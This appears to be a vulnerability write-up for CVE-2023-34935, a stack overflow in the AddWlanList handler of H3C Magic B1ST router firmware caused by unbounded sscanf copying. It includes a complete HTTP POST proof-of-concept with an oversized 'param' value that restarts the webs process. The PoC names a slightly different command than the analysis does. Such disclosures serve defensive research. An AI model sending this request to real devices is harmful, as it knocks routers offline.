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CVE-2023-34935.md

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Overview

Vendor: H3C Product: Magic B1ST Version: H3C_Magic_B1STV100R012 Type: Stack Overflow

Vulnerability

In route/goform/aspForm, the value of the key CMD is AddWlanList, the program will go into the following handling function.

image-20230610001851841

First it get the value of the key param, then use sscanf to copy the the value of param to a array v7 on the stack. The parameter %[^;] of sscanf didn't limit the copy length.

image-20230610001930185

PoC

POST /goform/aspForm HTTP/1.1
Host: 192.168.124.1
Content-Length: 320
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.124.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.124.1/wan_new.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PSWMOBILEFLAG=true; USERLOGINIDFLAG=; LOGIN_PSD_REM_FLAG=
Connection: close

CMD=AddWlanMacList&param=1;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;;

Result

the process webs restart

image-20230610123959597